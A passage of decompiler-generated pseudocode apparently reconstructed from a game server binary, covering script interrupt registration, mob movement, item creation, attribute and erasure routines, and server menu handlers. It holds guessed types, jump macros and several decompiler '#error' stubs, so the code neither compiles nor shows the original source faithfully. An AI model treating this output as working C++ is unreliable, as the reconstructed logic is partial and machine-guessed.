= (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + _Counta); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ScriptInterrupt::ScriptInterruptUnitBase **)_Newvec; } } } //----- (004C80A0) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName) { ScriptInterrupt::ScriptInterruptRegisterManager *v2; // ebx@1 unsigned int i; // edi@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // ecx@2 ScriptInterrupt::ScriptInterruptUnitBase *v5; // esi@4 const char *v6; // eax@4 v2 = this; for ( i = 0; ; ++i ) { v4 = v2->m_vecInterrupts._Myfirst; if ( !v4 ) break; if ( v2->m_vecInterrupts._Mylast - v4 <= i ) break; v5 = v4[i]; v6 = (const char *)((int (__thiscall *)(_DWORD))v5->baseclass_0.vfptr[1].sib_NPCClicked)(v4[i]); if ( !_stricmp(v6, pkName) ) return v5; } return 0; } //----- (004C80F0) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance() { if ( !(__S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 1) ) { __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA |= 1u; _ins.m_vecInterrupts._Myfirst = 0; _ins.m_vecInterrupts._Mylast = 0; _ins.m_vecInterrupts._Myend = 0; atexit(_ins); } return &_ins; } // 124578AC: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (004C8150) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase) { ScriptInterrupt::ScriptInterruptUnitBase *v2; // ebx@1 ScriptInterrupt::ScriptInterruptRegisterManager *v3; // eax@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // edx@1 int v5; // esi@2 ScriptInterrupt::ScriptInterruptUnitBase **v6; // ecx@6 v2 = pScriptBase; v3 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v4 = v3->m_vecInterrupts._Myfirst; if ( v4 ) v5 = v3->m_vecInterrupts._Mylast - v4; else v5 = 0; if ( v4 && v5 < v3->m_vecInterrupts._Myend - v4 ) { v6 = v3->m_vecInterrupts._Mylast; *v6 = v2; v3->m_vecInterrupts._Mylast = v6 + 1; } else { std::vector>::_Insert_n( &v3->m_vecInterrupts, (std::vector >::iterator)v3->m_vecInterrupts._Mylast, 1u, &pScriptBase); } } //----- (004C81C0) -------------------------------------------------------- bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num) { unsigned int v4; // eax@1 ScriptInterrupt::ScriptInterruptManager *v5; // edi@1 char *v6; // eax@1 const char *v7; // ST0C_4@1 ScriptInterrupt::ScriptInterruptRegisterManager *v8; // eax@1 ScriptInterrupt::ScriptInterruptBase *v9; // eax@1 bool result; // al@2 v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = this; v6 = (char *)&namestring + 256 * v4; *(_QWORD *)v6 = *(_QWORD *)&index->n4_name[0]; *((_DWORD *)v6 + 2) = *(_DWORD *)&index->n4_name[8]; v7 = v6; *((_DWORD *)v6 + 3) = *(_DWORD *)&index->n4_name[12]; v6[16] = 0; v8 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v9 = (ScriptInterrupt::ScriptInterruptBase *)ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName( v8, v7); if ( v9 ) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(v5, index, v9, exp, num); result = 1; } else { result = 0; } return result; } //----- (004C8230) -------------------------------------------------------- char __thiscall NPCAction::SkillCondition::needToAttach(ItemAttributeClass *this) { return 1; } //----- (004C8240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt) { void *v4; // esi@1 unsigned int v5; // eax@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *((_DWORD *)v4 + 1852); if ( v5 < 0x10 ) { *((_DWORD *)v4 + 3 * v5 + 1804) = locx; *((_DWORD *)v4 + 3 * *((_DWORD *)v4 + 1852) + 1805) = locy; *((_DWORD *)v4 + 3 * ((*((_DWORD *)v4 + 1852))++ + 602)) = stt; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); } //----- (004C8310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@3 int v4; // edx@3 int v5; // eax@3 int v6; // edi@4 char *v7; // ecx@4 int v8; // eax@4 int v9; // ecx@4 int v10; // ecx@4 int v11; // edi@5 char *v12; // ecx@5 int v13; // eax@5 int v14; // ecx@5 int v15; // ecx@5 int v16; // ST04_4@6 int v17; // eax@6 signed int v18; // ecx@6 int v19; // eax@7 int v20; // edx@8 char *v21; // [sp-4h] [bp-38h]@9 int to; // [sp+14h] [bp-20h]@3 int v23; // [sp+18h] [bp-1Ch]@3 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@4 int v25; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1852); v25 = 0; if ( !v2 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1488))(v1) ) { v25 = -1; v21 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } else { v3 = *((_DWORD *)v1 + 1805); v4 = *(_DWORD *)v1; to = *((_DWORD *)v1 + 1804); v5 = *((_DWORD *)v1 + 1806); v23 = v3; if ( v5 == 1 ) { v6 = (unsigned __int16)(*(int (__thiscall **)(void *))(v4 + 1280))(v1); (*(void (__thiscall **)(void *, int *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1560))(v1, &to, v6, 1, 0); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v8 = (int)(v7 + 2); *((_WORD *)v7 + 1) = *((_WORD *)v1 + 2); v9 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v8 + 2) = *(_DWORD *)v9; *(_DWORD *)(v8 + 6) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 10) = to; v10 = v23; *(_BYTE *)(v8 + 20) &= 0xFEu; *(_DWORD *)(v8 + 14) = v10; *(_WORD *)(v8 + 18) = v6; *((_WORD *)v1 + 51) = 24; *((_DWORD *)v1 + 26) = *(_DWORD *)v8; *((_DWORD *)v1 + 27) = *(_DWORD *)(v8 + 4); *((_DWORD *)v1 + 28) = *(_DWORD *)(v8 + 8); *((_DWORD *)v1 + 29) = *(_DWORD *)(v8 + 12); *((_DWORD *)v1 + 30) = *(_DWORD *)(v8 + 16); *((_WORD *)v1 + 62) = *(_WORD *)(v8 + 20); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); LOBYTE(v25) = 1; } else { v11 = (unsigned __int16)(*(int (__thiscall **)(void *))(v4 + 1284))(v1); (*(void (__thiscall **)(void *, int *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1560))(v1, &to, v11, 2, 0); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v13 = (int)(v12 + 2); *((_WORD *)v12 + 1) = *((_WORD *)v1 + 2); v14 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v13 + 2) = *(_DWORD *)v14; *(_DWORD *)(v13 + 6) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v13 + 10) = to; v15 = v23; *(_BYTE *)(v13 + 20) &= 0xFEu; *(_DWORD *)(v13 + 14) = v15; *(_WORD *)(v13 + 18) = v11; *((_WORD *)v1 + 51) = 26; *((_DWORD *)v1 + 26) = *(_DWORD *)v13; *((_DWORD *)v1 + 27) = *(_DWORD *)(v13 + 4); *((_DWORD *)v1 + 28) = *(_DWORD *)(v13 + 8); *((_DWORD *)v1 + 29) = *(_DWORD *)(v13 + 12); *((_DWORD *)v1 + 30) = *(_DWORD *)(v13 + 16); *((_WORD *)v1 + 62) = *(_WORD *)(v13 + 20); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); LOBYTE(v25) = 2; } v16 = *(_DWORD *)((char *)v1 + 78); v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v17, v16, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v25) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v18 = 1; if ( *((_DWORD *)v1 + 1852) > 1 ) { v19 = (int)((char *)v1 + 7216); do { *(_DWORD *)v19 = *(_DWORD *)(v19 + 12); v20 = *(_DWORD *)(v19 + 20); *(_DWORD *)(v19 + 4) = *(_DWORD *)(v19 + 16); *(_DWORD *)(v19 + 8) = v20; ++v18; v19 += 12; } while ( v18 < *((_DWORD *)v1 + 1852) ); } --*((_DWORD *)v1 + 1852); v25 = -1; v21 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } //----- (004C8590) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid) { void *v2; // ebx@1 int v3; // ST08_4@1 CServerInfo::MY_SERVER *v4; // eax@1 ItemAttributeClass *v5; // edi@5 char *v6; // [sp-4h] [bp-9Ch]@3 char iti; // [sp+18h] [bp-80h]@1 __int16 v8; // [sp+20h] [bp-78h]@1 unsigned int v9; // [sp+88h] [bp-10h]@6 int v10; // [sp+94h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_CreateItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v3 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v4 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, 2, v4->nZoneNo, v3); v8 = itemid; if ( ItemDataBox::operator__(&itemdatabox, itemid) != 0 ) { if ( ItemDataBox::operator__(&itemdatabox, itemid)->data ) { v5 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v5->vfptr->iac_itemcreate( v5, itemid, (ItemTotalInformation *)&iti, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v5->vfptr->iac_SetLot(v5, (SHINE_ITEM_STRUCT *)&v8, 1u); ShineObjectClass::ShinePlayer::sp_MakeItem(v2, *((_WORD *)v2 + 2), (int)&iti); v6 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; goto LABEL_6; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_CreateItem : Invalid item", (unsigned __int16)itemid); } v6 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; LABEL_6: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v9); } //----- (004C86F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, __int16 item, char *attr) { void *v3; // ebx@1 int v4; // edx@1 int v5; // esi@1 int v6; // eax@1 int v7; // edx@1 int v8; // ecx@1 int v9; // eax@2 int v10; // edx@4 int v11; // eax@4 int v12; // eax@6 int v13; // eax@6 ItemAttributeClass *v14; // ebp@6 int v15; // edx@6 int v16; // eax@6 char *v17; // esi@6 int v18; // esi@6 int v19; // eax@6 ZoneBaseSession *v20; // eax@8 char *v21; // [sp+18h] [bp-C4h]@5 ITEM_INVEN inv; // [sp+2Ch] [bp-B0h]@6 int v23; // [sp+30h] [bp-ACh]@6 int iic; // [sp+34h] [bp-A8h]@6 int ibii; // [sp+38h] [bp-A4h]@1 int v26; // [sp+3Ch] [bp-A0h]@1 int v27; // [sp+44h] [bp-98h]@4 __int16 v28; // [sp+48h] [bp-94h]@4 int *uii; // [sp+4Ch] [bp-90h]@4 int v30; // [sp+50h] [bp-8Ch]@4 int v31; // [sp+54h] [bp-88h]@4 FunctionEntarance _; // [sp+58h] [bp-84h]@1 int iti; // [sp+5Ch] [bp-80h]@6 int v34; // [sp+60h] [bp-7Ch]@6 unsigned __int16 itmid[2]; // [sp+64h] [bp-78h]@6 __int16 v36; // [sp+C8h] [bp-14h]@6 char v37; // [sp+CAh] [bp-12h]@6 unsigned int v38; // [sp+CCh] [bp-10h]@10 int v39; // [sp+D8h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v39 = 0; v5 = (*(int (__thiscall **)(void *))(v4 + 1156))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1128))(v3); ibii = (int)ItemBoxIterator::_vftable_; v26 = v6 + 3368; v7 = *(_DWORD *)(v6 + 3368); v8 = v6 + 3368; if ( v5 ) v9 = (*(int (__thiscall **)(int, int))(v7 + 4))(v8, v5); else v9 = (*(int (__thiscall **)(int))(v7 + 8))(v8); v27 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v28 = item; v10 = *(_DWORD *)v3; LOBYTE(v39) = 1; v11 = (*(int (__thiscall **)(void *))(v10 + 1916))(v3); uii = &ibii; v30 = v11; v31 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v12 = *(_DWORD *)uii[1]; v23 = uii[2]; v13 = (*(int (__stdcall **)(int))v12)(v23); memcpy(&iti, (const void *)v13, 0x6Cu); v36 = *(_WORD *)(v13 + 108); v37 = *(_BYTE *)(v13 + 110); iic = v13; v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, itmid[0]); v14->vfptr->iac_itemcreate(v14, *(_DWORD *)itmid, (ItemTotalInformation *)&iti, attr); v15 = *((_DWORD *)v3 + 14442); HIWORD(v16) = 0; inv.Inven = v23 & 0x3FF | 0x2400; LOWORD(v16) = *((_WORD *)v3 + 28886); v23 = (int)((char *)v3 + 57768); (*(void (__stdcall **)(int, int, int *, ITEM_INVEN *, ITEM_INVEN *))(v15 + 48))(v16, iic, &iti, &inv, &inv); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v17 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v17 + 4) = *((_WORD *)v3 + 28886); *(_DWORD *)(v17 + 10) = iti; *(_DWORD *)(v17 + 14) = v34; *((_WORD *)v17 + 9) = itmid[0]; memcpy(v17 + 20, &itmid[1], 0x64u); v17[120] = v37; v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]); v18 = v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]) + 20; v19 = v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v19 + 20) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_KQStepSet : Packet Too Long", v18); } ++*(_WORD *)(v23 + 4); v39 = -1; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } else { v39 = -1; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie(v38); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004C8990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, int itemid, int Num) { void *v3; // esi@1 __int16 v4; // bx@1 __int16 v5; // ax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), itemid, Num, 0); v4 = *((_WORD *)v3 + 2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1128))(v3); ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, v4, itemid, v5, 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); } // 4D7720: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004C8A50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num) { ShineObjectClass::ShineDropItem *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1328))(v3) + 8) == itemid ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1332))(v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); } //----- (004C8B00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_DetectRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(*((_DWORD *)v2 + 2062) + 16) = range; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); } //----- (004C8B60) -------------------------------------------------------- #error "4C8B60: undefined or illegal type '#331' (funcsize=102)" //----- (004C8CB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this) { void *v1; // esi@1 int v2; // edx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_IsIdle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *((_DWORD *)v1 + 1793) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 0; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 1; } return result; } //----- (004C8D60) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 2 * (_Last - _First)); return (unsigned __int16 *)(2 * (_Last - _First) + v3); } //----- (004C8D90) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 unsigned __int16 *v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 unsigned __int16 *v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (unsigned __int16 *)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 2 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 2 * ((*(_DWORD *)(a2 + 8) - v8) >> 1); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 1; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 1; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v10 = 0; v11 = (unsigned __int16 *)(*(_DWORD *)(a2 + 4) + 2 * v10); std::copy(*(unsigned __int16 **)(a2 + 4), v11, *((unsigned __int16 **)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (004C8ED0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; std::vector>::operator_((char *)v2 + 8876, rRates); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); } //----- (004C8F70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf) { int v2; // eax@1 v2 = *(_DWORD *)(this + 68328); JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(v2 + 4), 0, Concurrency::_Order_node_base::reserve_message); return (*(int (**)(void))(**(_DWORD **)(v2 + 4) + 36))(); } // 4C8F89: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004C8F90) -------------------------------------------------------- void __thiscall MoveManager::MoveManager(DiceTaiSai *this) { ; } //----- (004C8FA0) -------------------------------------------------------- char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this) { return this->sma_Subst == 0; } //----- (004C8FB0) -------------------------------------------------------- #error "4C8FB0: undefined or illegal type '#440' (funcsize=32)" //----- (004C9050) -------------------------------------------------------- #error "4C9050: undefined or illegal type '#440' (funcsize=90)" //----- (004C9180) -------------------------------------------------------- #error "4C9180: undefined or illegal type '#440' (funcsize=87)" //----- (004C92C0) -------------------------------------------------------- #error "4C92C0: undefined or illegal type '#440' (funcsize=39)" //----- (004C9380) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { char *v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)&arg->sma_link.sml_lnkinf.index[4]; v3[9] = arg->sma_link.sml_lnkinf.index[0]; ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(&zonringpack_emptyinstancedungeon, 0, (NETCOMMAND *)v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); } //----- (004C9430) -------------------------------------------------------- #error "4C9430: undefined or illegal type '#440' (funcsize=93)" //----- (004C95A0) -------------------------------------------------------- #error "4C95A0: undefined or illegal type '#440' (funcsize=48)" //----- (004C9660) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this) { ServerMenuActor *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sma_Selected[0].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[1].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[2].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #440 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; 